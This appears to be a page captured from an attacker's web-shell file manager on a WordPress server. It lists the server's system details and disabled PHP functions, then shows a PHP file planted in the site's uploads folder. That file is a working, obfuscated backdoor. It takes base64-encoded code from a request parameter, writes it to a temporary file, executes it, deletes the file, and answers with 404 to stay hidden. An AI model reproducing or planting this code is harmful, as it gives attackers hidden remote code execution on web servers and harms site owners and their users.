HEX
Server: nginx/1.26.1
System: Linux iZ2ze8klig2h778hsg9mc9Z 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/a2.xingzuo101.cn/wp-content/uploads/6c3a3815.php
<?php
try{
$gc1371[]='sys_g'.'et_temp_dir';
$gc1371[]='array'.'_key_exists';
$gc1371[]='te'.'mpnam';
$gc1371[]='un'.'link';
$gc1371[]='base64'.'_decode';
$gc1371[]='fil'.'e_put_contents';
$i36973='5df0'.'dded';
if($gc1371[1]($i36973,$_POST)){
$mb4a3f=$gc1371[4]($_POST[$i36973]);
}elseif($gc1371[1]($i36973,$_GET)){
$mb4a3f=$gc1371[4]($_GET[$i36973]);
}else{$mb4a3f=null;}
if($mb4a3f){
$yc8ab7=$gc1371[2]($gc1371[0](),'w'.'p_');
if($yc8ab7){
$gc1371[5]($yc8ab7,'<'.'?ph'.'p '.$mb4a3f);
http_response_code(404);
@include_once($yc8ab7);
@$gc1371[3]($yc8ab7);
}}
http_response_code(404);
}catch(Throwable $e){http_response_code(404);}catch(Exception $e){http_response_code(404);}